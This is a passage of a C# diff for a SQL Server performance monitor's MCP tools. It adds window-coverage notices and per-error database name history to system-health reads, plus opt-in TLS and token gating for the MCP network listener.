@@ -136,11 +170,8 @@ public static async Task<string> GetSevereErrors(
         try
         {
             var now = windowEnd;
-            /* database_id → name resolution needs the collected size-stats mapping (the shred left it null). */
-            var mapTask = DarlingSystemHealthReader.GetDatabaseNameMapAsync(postgres, resolved.ServerId, cancellationToken);
             var xmls = await DarlingSystemHealthReader.ReadEventXmlAsync(
                 postgres, resolved.ServerId, now.AddHours(-hours_back), now, SystemHealthParser.ErrorReportedEvent, cancellationToken);
-            var map = await mapTask;
             var lastCapturedAt = await DarlingSystemHealthReader.GetLastCaptureAsync(postgres, resolved.ServerId, cancellationToken);
 
             var rows = xmls
@@ -148,31 +179,51 @@ public static async Task<string> GetSevereErrors(
                 .Where(r => r != null && SystemHealthSignificance.IsSignificant(r))
                 .Select(r => r!)
                 .ToList();
+            /* database_id → name resolution needs the collected size-stats history (the shred left it null). #5373: each
+               error gets the name its id carried at the error's own time, not the server's latest name for the id.
+               #5244: the database filter matches on that same per-error name (the store has none), in C#, before the counts
+               and the page cap, so the history is read for every gated error under a filter and only for the errors shown
+               otherwise. */
+            var names = await DatabaseNameHistoryReader.ReadAsync(
+                postgres, resolved.ServerId,
+                (databases.IsAll ? rows.Take(limit) : rows).Select(r => (r.DatabaseId, r.EventTime)),
+                McpCommandDeadlines.ReadSeconds, cancellationToken);
+            if (!databases.IsAll)
+                rows = rows.Where(r => names.IsIn(r.DatabaseId, r.EventTime, databases.Names)).ToList();
+            var shown = rows.Take(limit).ToList();
             if (rows.Count == 0)
-                return await EmptyAsync(
-                    postgres, new Collected<SevereErrorRecord>(null, resolved.ServerId, resolved.ServerName, rows, xmls.Count, lastCapturedAt),
+                return McpHelpers.WithDatabase(await EmptyAsync(
+                    postgres, new Collected<SevereErrorRecord>(null, resolved.ServerId, resolved.ServerName, rows, xmls.Count, lastCapturedAt, now),
                     hours_back, SystemHealthParser.ErrorReportedEvent,
-                    $"none was a significant severe error (severity {SystemHealthSignificance.SevereErrorMinSeverity}+ and off the benign connection-reset list)", cancellationToken);
+                    $"none was a significant severe error (severity {SystemHealthSignificance.SevereErrorMinSeverity}+ and off the benign connection-reset list)"
+                        + DarlingMcpBlockingTools.ForChosenDatabases(databases), logger, cancellationToken), databases.Describe())!;
+
+            var collected = new Collected<SevereErrorRecord>(null, resolved.ServerId, resolved.ServerName, rows, xmls.Count, lastCapturedAt, now);
+            var notice = await NoticeAsync(postgres, collected, hours_back, EarliestOf(rows.Select(r => r.EventTime)), emptyAnswer: false, logger, cancellationToken);
 
-            return JsonSerializer.Serialize(new
+            return Finish(notice, JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(lastCapturedAt),
+                database_name = databases.Describe(),
                 error_count = rows.Count,
                 shown = Math.Min(rows.Count, limit),
-                errors = rows.Take(limit).Select(r => new
+                errors = shown.Select(r => new
                 {
                     event_time = r.EventTime?.ToString("o"),
                     error_number = r.ErrorNumber,
                     severity = r.Severity,
                     state = r.State,
                     database_id = r.DatabaseId,
-                    database_name = DarlingSystemHealthReader.ResolveDatabaseName(r.DatabaseId, map),
+                    database_name = names.Resolve(r.DatabaseId, r.EventTime),
                     message = r.Message
                 })
-            }, McpHelpers.JsonOptions);
+            }, McpHelpers.JsonOptions));
         }
         catch (Exception ex) when (ex is not OperationCanceledException) { return McpHelpers.FormatError("get_health_parser_severe_errors", ex); }
     }
@@ -184,6 +235,7 @@ public static async Task<string> GetIOIssues(
         [Description("Hours of history to retrieve. Default 24.")] int hours_back = 24,
         [Description("Maximum number of entries. Default 50.")] int limit = 50,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         try
@@ -196,12 +248,17 @@ public static async Task<string> GetIOIssues(
             if (c.EarlyReturn != null) return c.EarlyReturn;
             if (c.Rows.Count == 0)
                 return await EmptyAsync(postgres, c, hours_back, SystemHealthParser.SpServerDiagnosticsEvent,
-                    "none was an IO_SUBSYSTEM component result in the WARNING state", cancellationToken);
+                    "none was an IO_SUBSYSTEM component result in the WARNING state", logger, cancellationToken);
 
-            return JsonSerializer.Serialize(new
+            var notice = await NoticeAsync(postgres, c, hours_back, EarliestOf(c.Rows.Select(r => r.EventTime)), emptyAnswer: false, logger, cancellationToken);
+
+            return Finish(notice, JsonSerializer.Serialize(new
             {
                 server = c.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(c.LastCapturedAt),
                 issue_count = c.Rows.Count,
@@ -216,7 +273,7 @@ public static async Task<string> GetIOIssues(
                     longest_pending_requests_duration_ms = r.LongestPendingRequestsDurationMs,
                     longest_pending_requests_file_path = r.LongestPendingRequestsFilePath
                 })
-            }, McpHelpers.JsonOptions);
+            }, McpHelpers.JsonOptions));
         }
         catch (Exception ex) when (ex is not OperationCanceledException) { return McpHelpers.FormatError("get_health_parser_io_issues", ex); }
     }
@@ -228,6 +285,7 @@ public static async Task<string> GetSchedulerIssues(
         [Description("Hours of history to retrieve. Default 24.")] int hours_back = 24,
         [Description("Maximum number of entries. Default 50.")] int limit = 50,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         try
@@ -239,12 +297,17 @@ public static async Task<string> GetSchedulerIssues(
             if (c.EarlyReturn != null) return c.EarlyReturn;
             if (c.Rows.Count == 0)
                 return await EmptyAsync(postgres, c, hours_back, SystemHealthParser.SchedulerMonitorEvent,
-                    "none was a significant scheduler-monitor sample (SQL CPU, other-process CPU, or memory utilization outside the warning thresholds)", cancellationToken);
+                    "none was a significant scheduler-monitor sample (SQL CPU, other-process CPU, or memory utilization outside the warning thresholds)", logger, cancellationToken);
+
+            var notice = await NoticeAsync(postgres, c, hours_back, EarliestOf(c.Rows.Select(r => r.EventTime)), emptyAnswer: false, logger, cancellationToken);
 
-            return JsonSerializer.Serialize(new
+            return Finish(notice, JsonSerializer.Serialize(new
             {
                 server = c.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(c.LastCapturedAt),
                 issue_count = c.Rows.Count,
@@ -259,7 +322,7 @@ public static async Task<string> GetSchedulerIssues(
                     page_faults = r.PageFaults,
                     working_set_delta_mb = r.WorkingSetDeltaMb
                 })
-            }, McpHelpers.JsonOptions);
+            }, McpHelpers.JsonOptions));
         }
         catch (Exception ex) when (ex is not OperationCanceledException) { return McpHelpers.FormatError("get_health_parser_scheduler_issues", ex); }
     }
@@ -271,6 +334,7 @@ public static async Task<string> GetMemoryConditions(
         [Description("Hours of history to retrieve. Default 24.")] int hours_back = 24,
         [Description("Maximum number of entries. Default 50.")] int limit = 50,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         try
@@ -282,12 +346,17 @@ public static async Task<string> GetMemoryConditions(
             if (c.EarlyReturn != null) return c.EarlyReturn;
             if (c.Rows.Count == 0)
                 return await EmptyAsync(postgres, c, hours_back, SystemHealthParser.SpServerDiagnosticsEvent,
-                    "none was a RESOURCE component result carrying a low-memory (RESOURCE_MEMPHYSICAL_LOW) notification", cancellationToken);
+                    "none was a RESOURCE component result carrying a low-memory (RESOURCE_MEMPHYSICAL_LOW) notification", logger, cancellationToken);
+
+            var notice = await NoticeAsync(postgres, c, hours_back, EarliestOf(c.Rows.Select(r => r.EventTime)), emptyAnswer: false, logger, cancellationToken);
 
-            return JsonSerializer.Serialize(new
+            return Finish(notice, JsonSerializer.Serialize(new
             {
                 server = c.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(c.LastCapturedAt),
                 event_count = c.Rows.Count,
@@ -327,7 +396,7 @@ public static async Task<string> GetMemoryConditions(
                     last_oom_factor = r.LastOomFactor,
                     last_os_error = r.LastOsError
                 })
-            }, McpHelpers.JsonOptions);
+            }, McpHelpers.JsonOptions));
         }
         catch (Exception ex) when (ex is not OperationCanceledException) { return McpHelpers.FormatError("get_health_parser_memory_conditions", ex); }
     }
@@ -339,6 +408,7 @@ public static async Task<string> GetCPUTasks(
         [Description("Hours of history to retrieve. Default 24.")] int hours_back = 24,
         [Description("Maximum number of entries. Default 50.")] int limit = 50,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         try
@@ -350,12 +420,17 @@ public static async Task<string> GetCPUTasks(
             if (c.EarlyReturn != null) return c.EarlyReturn;
             if (c.Rows.Count == 0)
                 return await EmptyAsync(postgres, c, hours_back, SystemHealthParser.SpServerDiagnosticsEvent,
-                    $"none was a QUERY_PROCESSING component result in the WARNING state with at least {SystemHealthSignificance.CpuTaskMinPendingTasks} pending tasks", cancellationToken);
+                    $"none was a QUERY_PROCESSING component result in the WARNING state with at least {SystemHealthSignificance.CpuTaskMinPendingTasks} pending tasks", logger, cancellationToken);
 
-            return JsonSerializer.Serialize(new
+            var notice = await NoticeAsync(postgres, c, hours_back, EarliestOf(c.Rows.Select(r => r.EventTime)), emptyAnswer: false, logger, cancellationToken);
+
+            return Finish(notice, JsonSerializer.Serialize(new
             {
                 server = c.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(c.LastCapturedAt),
                 event_count = c.Rows.Count,
@@ -374,7 +449,7 @@ public static async Task<string> GetCPUTasks(
                     has_deadlocked_schedulers_occurred = r.HasDeadlockedSchedulersOccurred,
                     did_blocking_occur = r.DidBlockingOccur
                 })
-            }, McpHelpers.JsonOptions);
+            }, McpHelpers.JsonOptions));
         }
         catch (Exception ex) when (ex is not OperationCanceledException) { return McpHelpers.FormatError("get_health_parser_cpu_tasks", ex); }
     }
@@ -386,6 +461,7 @@ public static async Task<string> GetMemoryBroker(
         [Description("Hours of history to retrieve. Default 24.")] int hours_back = 24,
         [Description("Maximum number of entries. Default 50.")] int limit = 50,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         try
@@ -397,12 +473,17 @@ public static async Task<string> GetMemoryBroker(
             if (c.EarlyReturn != null) return c.EarlyReturn;
             if (c.Rows.Count == 0)
                 return await EmptyAsync(postgres, c, hours_back, SystemHealthParser.MemoryBrokerEvent,
-                    "none carried a low-memory notification (broker adjustments that are not a shrink under pressure are routine)", cancellationToken);
+                    "none carried a low-memory notification (broker adjustments that are not a shrink under pressure are routine)", logger, cancellationToken);
+
+            var notice = await NoticeAsync(postgres, c, hours_back, EarliestOf(c.Rows.Select(r => r.EventTime)), emptyAnswer: false, logger, cancellationToken);
 
-            return JsonSerializer.Serialize(new
+            return Finish(notice, JsonSerializer.Serialize(new
             {
                 server = c.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(c.LastCapturedAt),
                 event_count = c.Rows.Count,
@@ -423,7 +504,7 @@ public static async Task<string> GetMemoryBroker(
                     broker = r.Broker,
                     notification = r.Notification
                 })
-            }, McpHelpers.JsonOptions);
+            }, McpHelpers.JsonOptions));
         }
         catch (Exception ex) when (ex is not OperationCanceledException) { return McpHelpers.FormatError("get_health_parser_memory_broker", ex); }
     }
@@ -435,6 +516,7 @@ public static async Task<string> GetMemoryNodeOOM(
         [Description("Hours of history to retrieve. Default 24.")] int hours_back = 24,
         [Description("Maximum number of entries. Default 50.")] int limit = 50,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         try
@@ -448,12 +530,17 @@ public static async Task<string> GetMemoryNodeOOM(
             if (c.EarlyReturn != null) return c.EarlyReturn;
             if (c.Rows.Count == 0)
                 return await EmptyAsync(postgres, c, hours_back, SystemHealthParser.MemoryNodeOomEvent,
-                    "none shredded to a memory-node OOM record (this category is ungated, so a captured OOM event that parsed would be here)", cancellationToken);
+                    "none shredded to a memory-node OOM record (this category is ungated, so a captured OOM event that parsed would be here)", logger, cancellationToken);
+
+            var notice = await NoticeAsync(postgres, c, hours_back, EarliestOf(c.Rows.Select(r => r.EventTime)), emptyAnswer: false, logger, cancellationToken);
 
-            return JsonSerializer.Serialize(new
+            return Finish(notice, JsonSerializer.Serialize(new
             {
                 server = c.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(c.LastCapturedAt),
                 event_count = c.Rows.Count,
@@ -489,7 +576,7 @@ public static async Task<string> GetMemoryNodeOOM(
                     is_process_physical_memory_low = r.IsProcessPhysicalMemoryLow,
                     is_process_virtual_memory_low = r.IsProcessVirtualMemoryLow
                 })
-            }, McpHelpers.JsonOptions);
+            }, McpHelpers.JsonOptions));
         }
         catch (Exception ex) when (ex is not OperationCanceledException) { return McpHelpers.FormatError("get_health_parser_memory_node_oom", ex); }
     }
@@ -501,6 +588,7 @@ public static async Task<string> GetSignificantWaits(
         [Description("Hours of history to retrieve. Default 24.")] int hours_back = 24,
         [Description("Maximum number of entries. Default 50.")] int limit = 50,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -540,15 +628,21 @@ what an operator wants to hear and a caller who believes it stops looking. Since
                     description (the four conditions) is this tool's to word.
                 */
                 return await EmptyAsync(
-                    postgres, new Collected<SignificantWaitRecord>(null, resolved.ServerId, resolved.ServerName, rows, xmls.Count, lastCapturedAt),
+                    postgres, new Collected<SignificantWaitRecord>(null, resolved.ServerId, resolved.ServerName, rows, xmls.Count, lastCapturedAt, now),
                     hours_back, SystemHealthParser.WaitInfoEvent,
-                    $"none was significant (needs a real session, a non-BACKUP statement, at least {SystemHealthSignificance.SignificantWaitMinDurationMs} ms, and a wait type off the idle list)", cancellationToken);
+                    $"none was significant (needs a real session, a non-BACKUP statement, at least {SystemHealthSignificance.SignificantWaitMinDurationMs} ms, and a wait type off the idle list)", logger, cancellationToken);
             }
 
-            return JsonSerializer.Serialize(new
+            var collected = new Collected<SignificantWaitRecord>(null, resolved.ServerId, resolved.ServerName, rows, xmls.Count, lastCapturedAt, now);
+            var notice = await NoticeAsync(postgres, collected, hours_back, EarliestOf(rows.Select(r => r.EventTime)), emptyAnswer: false, logger, cancellationToken);
+
+            return Finish(notice, JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(lastCapturedAt),
                 wait_count = rows.Count,
@@ -565,7 +659,7 @@ signal close to the total is CPU pressure wearing a wait type's name. */
                     session_id = r.SessionId,
                     query_text = r.QueryText
                 })
-            }, McpHelpers.JsonOptions);
+            }, McpHelpers.JsonOptions));
         }
         catch (Exception ex) when (ex is not OperationCanceledException) { return McpHelpers.FormatError("get_health_parser_significant_waits", ex); }
     }
@@ -578,7 +672,7 @@ signal close to the total is CPU pressure wearing a wait type's name. */
     /// <see cref="Rows"/>. The id rides along for the #2511 engine-capability probe on the zero-row path —
     /// re-resolving the name there would be a second registry read, which could answer for a different server.</summary>
     private readonly record struct Collected<T>(
-        string? EarlyReturn, int ServerId, string ServerName, List<T> Rows, int RawEventCount, DateTime? LastCapturedAt);
+        string? EarlyReturn, int ServerId, string ServerName, List<T> Rows, int RawEventCount, DateTime? LastCapturedAt, DateTime WindowEnd);
 
     /// <summary>
     /// Resolves the server, validates hours_back + as_of + limit, reads the raw event_xml for
@@ -598,10 +692,10 @@ private static async Task<Collected<T>> CollectAsync<T>(
         Func<string, IEnumerable<T>> shred, Func<T, bool> significant, CancellationToken cancellationToken = default) where T : class
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, serverName, cancellationToken);
-        if (error != null) return new Collected<T>(error, 0, "", new List<T>(), 0, null);
+        if (error != null) return new Collected<T>(error, 0, "", new List<T>(), 0, null, default);
 
         var validation = McpHelpers.ValidateWindow(hoursBack, asOf, out var windowEnd) ?? McpHelpers.ValidateTop(limit);
-        if (validation != null) return new Collected<T>(validation, 0, "", new List<T>(), 0, null);
+        if (validation != null) return new Collected<T>(validation, 0, "", new List<T>(), 0, null, default);
 
         var now = windowEnd;
         var xmls = await DarlingSystemHealthReader.ReadEventXmlAsync(
@@ -618,7 +712,7 @@ private static async Task<Collected<T>> CollectAsync<T>(
             }
         }
 
-        return new Collected<T>(null, resolved.ServerId, resolved.ServerName, rows, xmls.Count, lastCapturedAt);
+        return new Collected<T>(null, resolved.ServerId, resolved.ServerName, rows, xmls.Count, lastCapturedAt, now);
     }
 
     /* ─────────────────────────── the four nothings (#3541 A12) ─────────────────────────── */
@@ -651,7 +745,7 @@ private static async Task<Collected<T>> CollectAsync<T>(
     /// </summary>
     private static async Task<string> EmptyAsync<T>(
         NpgsqlDataSource postgres, Collected<T> c, int hoursBack, string eventType, string noneQualifiedBecause,
-        CancellationToken cancellationToken = default)
+        ILogger? logger = null, CancellationToken cancellationToken = default)
     {
         /* The type-scoped probe runs on every rung: on rung 1 the type exists in the window so the backward
            index walk stops at its first row, and the stamp it returns is THIS type's newest capture rather
@@ -659,18 +753,27 @@ private static async Task<string> EmptyAsync<T>(
         var lastOfType = await DarlingSystemHealthReader.GetLastCaptureOfTypeAsync(postgres, c.ServerId, eventType, cancellationToken);
         if (c.RawEventCount > 0)
         {
+            var notice = await NoticeAsync(postgres, c, hoursBack, null, emptyAnswer: true, logger, cancellationToken);
             return WitnessStatus(
                 "empty",
-                $"{c.RawEventCount} {eventType} event(s) were captured for {c.ServerName} in the last {hoursBack} hour(s) and {noneQualifiedBecause}. Events ARE being captured, so this is the healthy answer for this read rather than missing data.",
-                sourceObserved: true, c.LastCapturedAt, lastCapturedOfTypeAt: lastOfType, eventsInWindow: c.RawEventCount);
+                McpHelpers.QuietUnlessCut(
+                    notice.WindowTruncated, notice.EffectiveStart,
+                    factual: $"{c.RawEventCount} {eventType} event(s) were captured for {c.ServerName} in the last {hoursBack} hour(s) and {noneQualifiedBecause}",
+                    coveredClaim: ". Events ARE being captured, so this is the healthy answer for this read rather than missing data."),
+                sourceObserved: true, c.LastCapturedAt, lastCapturedOfTypeAt: lastOfType, eventsInWindow: c.RawEventCount, hints: notice.AsHints());
         }
 
         if (lastOfType is DateTime seen)
         {
+            var notice = await NoticeAsync(postgres, c, hoursBack, null, emptyAnswer: true, logger, cancellationToken);
             return WitnessStatus(
                 "empty",
-                $"No {eventType} events were captured for {c.ServerName} in the last {hoursBack} hour(s). This server HAS captured them before (the newest was stored at {Stamp(seen)}), so the window is genuinely quiet rather than blind — widen hours_back to reach the most recent events.",
-                sourceObserved: true, c.LastCapturedAt, lastCapturedOfTypeAt: seen, eventsInWindow: 0);
+                McpHelpers.QuietUnlessCut(
+                    notice.WindowTruncated, notice.EffectiveStart,
+                    factual: $"No {eventType} events were captured for {c.ServerName} in the last {hoursBack} hour(s). This server HAS captured them before (the newest was stored at {Stamp(seen)})",
+                    coveredClaim: ", so the window is genuinely quiet rather than blind — widen hours_back to reach the most recent events."),
+                sourceObserved: true, c.LastCapturedAt, lastCapturedOfTypeAt: seen, eventsInWindow: 0,
+                hints: notice.AsHints());
         }
 
         if (c.LastCapturedAt is DateTime alive)
@@ -678,7 +781,8 @@ private static async Task<string> EmptyAsync<T>(
             return WitnessStatus(
                 "empty",
                 $"No {eventType} events have been captured for {c.ServerName} at any time, but its system_health session IS being read — the collector last stored an event of another type at {Stamp(alive)} — so for this category the absence is a measurement: the engine has not recorded one. Not a blind spot, and a wider window would not change it.",
-                sourceObserved: true, alive, lastCapturedOfTypeAt: null, eventsInWindow: 0);
+                sourceObserved: true, alive, lastCapturedOfTypeAt: null, eventsInWindow: 0,
+                hints: (await NoticeAsync(postgres, c, hoursBack, null, emptyAnswer: true, logger, cancellationToken)).AsHints());
         }
 
         return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, c.ServerId, c.ServerName, SystemHealthCollectorName, cancellationToken)
@@ -695,16 +799,57 @@ private static async Task<string> EmptyAsync<T>(
     /// <c>hints</c> so the keys sit in one place whichever branch answered.
     /// </summary>
     private static string WitnessStatus(
-        string status, string message, bool sourceObserved, DateTime? lastCapturedAt, DateTime? lastCapturedOfTypeAt, int eventsInWindow)
-        => JsonSerializer.Serialize(new
+        string status, string message, bool sourceObserved, DateTime? lastCapturedAt, DateTime? lastCapturedOfTypeAt, int eventsInWindow,
+        object? hints = null)
+    {
+        /* The serializer writes a null member, so hints is added only when there is one: the unavailable rung keeps its shape. */
+        var answer = new Dictionary<string, object?>
         {
-            status,
-            message,
-            source_observed = sourceObserved,
-            last_captured_at = Stamp(lastCapturedAt),
-            last_captured_of_type_at = Stamp(lastCapturedOfTypeAt),
-            events_in_window = eventsInWindow,
-        }, McpHelpers.JsonOptions);
+            ["status"] = status,
+            ["message"] = message,
+            ["source_observed"] = sourceObserved,
+            ["last_captured_at"] = Stamp(lastCapturedAt),
+            ["last_captured_of_type_at"] = Stamp(lastCapturedOfTypeAt),
+            ["events_in_window"] = eventsInWindow,
+        };
+        if (hints is not null) answer["hints"] = hints;
+        return JsonSerializer.Serialize(answer, McpHelpers.JsonOptions);
+    }
+
+    /// <summary>
+    /// #4966: where the store's coverage of this window starts, for the three keys every window-floor tool writes. The nine reads
+    /// window on <c>event_time</c>, while the coverage probe reads <c>collection_time</c> (the collector's own UTC clock) of the one
+    /// table <c>system_health_events</c>, so it counts events of EVERY type and the collector's logged runs: a server with a rare
+    /// event type is covered from when its session was first read, not from this type's first hit. A server's first collection
+    /// stores the ring buffer's history, so an event can be older than the coverage; the notice names the earlier of the coverage
+    /// and the earliest event shown (<paramref name="earliestShown"/>), the rule the viewer's System Events tab follows
+    /// (<c>ViewerEventDataStart.Of</c>). An empty answer shows no event and is always probed; a data answer over a window of 90
+    /// minutes or less starts no probe.
+    /// </summary>
+    private static async Task<McpWindowNotice> NoticeAsync<T>(
+        NpgsqlDataSource postgres, Collected<T> c, int hoursBack, DateTime? earliestShown, bool emptyAnswer,
+        ILogger? logger, CancellationToken cancellationToken)
+    {
+        var windowEnd = c.WindowEnd;
+        var windowStart = windowEnd.AddHours(-hoursBack);
+        var notice = await DarlingMcpWindowNotice.ReadAsync(
+            async () =>
+            {
+                var floor = await DarlingMcpWindowNotice.Probe(postgres, SystemHealthTable, c.ServerName, windowStart, windowEnd, cancellationToken);
+                /* The earlier of the two, and the earliest event alone when the probe found no coverage in the window. */
+                return floor is DateTime covered && earliestShown is DateTime shown && shown < covered ? shown : floor ?? earliestShown;
+            },
+            windowStart, windowEnd, SystemHealthTable, emptyAnswer: emptyAnswer, logger: logger, cancellationToken: cancellationToken);
+        return notice;
+    }
+
+    /// <summary>The table every one of the nine reads is served from.</summary>
+    private const string SystemHealthTable = "system_health_events";
+
+    private static DateTime? EarliestOf(IEnumerable<DateTime?> times) => times.Where(t => t.HasValue).Min();
+
+    /// <summary>The payload as serialized, or without the three window-floor keys when the coverage probe failed.</summary>
+    private static string Finish(McpWindowNotice notice, string json) => notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
 
     /// <summary>The store's naive-UTC stamp in the same ISO shape the rows' <c>event_time</c> uses; null stays null.</summary>
     private static string? Stamp(DateTime? stamp) => stamp?.ToString("o");
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs
index 4c849b2619..01bbe5542d 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs
@@ -15,6 +15,8 @@
 using Microsoft.AspNetCore.Builder;
 using Microsoft.AspNetCore.Hosting;
 using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.Server.Kestrel.Core;
+using Microsoft.Extensions.Configuration;
 using Microsoft.Extensions.DependencyInjection;
 using Microsoft.Extensions.Hosting;
 using Microsoft.Extensions.Logging;
@@ -42,20 +44,33 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 ///
 /// <para><b>Network exposure — off by default, secure by default (darling-network-endpoints, D3):</b>
 /// with no <c>mcp.network</c> block the server binds loopback only and is TOKENLESS — byte-for-byte
-/// today's local MCP, so existing local clients are unaffected. An opt-in <c>mcp.network</c> block
+/// today's local MCP, so existing local clients are unaffected. A token the operator configured
+/// (<c>mcp.network.encryptedToken</c> / <c>token</c>) gates the loopback-only listener too, whatever the bind mode
+/// (<see cref="ResolveLoopbackOnlyToken"/>). An opt-in <c>mcp.network</c> block
 /// (MANAGED MODE ONLY) binds the specified LAN interface (plus both loopback families) behind two
-/// middlewares installed FIRST in the pipeline, before any MCP handler/handshake: an in-app CIDR check on
+/// middlewares installed in the pipeline before the JSON-only POST check, any MCP handler or the handshake: an in-app CIDR check on
 /// <c>RemoteIpAddress</c> (loopback always allowed, Round-4 #2) and an unconditional constant-time bearer
 /// token (NO loopback exemption — the loopback guard). The effective bind is decided by the pure
 /// <see cref="ResolveMcpBind"/>; the caller maps its reason to a severity — LogCritical on a missing
 /// precondition (token / valid allowFrom CIDR) and LogWarning in BYO mode — and degrades to loopback-only
-/// either way. Fail-closed, enforced HERE (the MCP host), NEVER in the all-fatal
-/// <see cref="DarlingConfig.Validate"/> (the worker's abort would not stop this host). No TLS on MCP (a
-/// self-signed cert breaks real clients; the named MITM control is a TLS reverse proxy in front of the
-/// endpoint) — the token travels cleartext on-segment, so own that residual with the reverse proxy. The
-/// scoped, idempotent firewall rule is created by the ELEVATED installer (#1771 — this account cannot);
-/// here it is only CHECKED and reported (defense-in-depth; the token + CIDR are the boundary, not the
-/// firewall).</para>
+/// either way. A token that is configured but blank or cannot be decrypted is a different case: it stops the start. Fail-closed, enforced HERE (the MCP host), NEVER in the all-fatal
+/// <see cref="DarlingConfig.Validate"/> (the worker's abort would not stop this host). The scoped, idempotent
+/// firewall rule is created by the ELEVATED installer (#1771 — this account cannot); here it is only CHECKED
+/// and reported (defense-in-depth; the token + CIDR are the boundary, not the firewall).</para>
+///
+/// <para><b>TLS on the network listener: opt-in (#5288).</b> With an <c>mcp.network.tls</c> block (a PKCS#12
+/// bundle or a PEM pair, the shapes <c>web.network.tls</c> takes) the LAN listener serves HTTPS, intermediates
+/// included. With no block it serves plain HTTP exactly as before, and the bearer token is readable on the
+/// segment (<see cref="DarlingListenerTls.Resolve"/> warns about that at every start; a TLS-terminating reverse
+/// proxy in front of the endpoint is the other answer). The two loopback listeners stay plain HTTP either way,
+/// because the certificate names the LAN address and that surface never leaves the machine; on a wildcard listen
+/// there is ONE listener and it serves HTTPS to loopback too. A certificate that cannot be used (unreadable,
+/// invalid, expired, not yet valid) degrades to loopback-only with a Critical line, never to plain HTTP on the
+/// LAN. Unlike a token that cannot be used (which stops the start in every mode), a refused certificate leaves the
+/// token resolved, so the loopback-only server it degrades to keeps the bearer-token gate (and has no CIDR check: only the
+/// loopback binds exist). The certificate's expiry reaches the worker's alert sweep through
+/// <see cref="McpTlsCertificateState"/>. Like the rest of <c>mcp.network</c>, the block is read once at start
+/// and a change takes a service restart.</para>
 ///
 /// <para>Gated by darling.json's <c>mcp.enabled</c> (default OFF — a headless service should not open a
 /// port unless the operator asks); when disabled or when the config cannot load (the worker already logs
@@ -110,13 +125,33 @@ inside an analysis hour a scheduled pass already computed read no 30-day baselin
        null-reference, exactly like BaselineCache above. */
     private readonly ReadLatencyAccumulator _readLatency;
 
-    public DarlingMcpHostService(ILogger<DarlingMcpHostService> logger, McpRuntimeState state, MonitoredServerRegistryState registryState, BaselineCache? baselineCache = null, ReadLatencyAccumulator? readLatency = null)
+    /* #5097: where the tool filter offers a slow or failed call; null in a test-constructed host. */
+    private readonly SlowReadLog? _slowReads;
+
+    /* #5288: where this host publishes the served certificate's expiry facts for the worker's alert sweep. It is
+       the SAME McpTlsCertificateState singleton DI hands the worker (Program.cs registers it once), so a Publish
+       or Clear here is what the "MCP TLS Certificate Expiring" self-alert reads. Optional so a test-constructed
+       host (which passes none) keeps a private, throwaway state rather than a null-reference, exactly like
+       BaselineCache above. */
+    private readonly McpTlsCertificateState _mcpTlsCertState;
+
+    /// <summary>The TLS certificate the current network listener presents (#5288): the leaf AND the intermediates
+    /// that travel with it, held for the listener's lifetime. Disposal is not bookkeeping: on Windows the private
+    /// key is loaded with <c>MachineKeySet</c> and no <c>PersistKeySet</c>, so disposing is what REMOVES the key
+    /// material from the machine key store, and a rebind or a failed start that leaked it would accumulate a key
+    /// per attempt. Adopted the moment <see cref="DarlingListenerTls.Resolve"/> returns, so every later bail path
+    /// releases it; released by <see cref="ReleaseServerCertificate"/>.</summary>
+    private DarlingWebTls.LoadedCertificate? _serverCertificate;
+
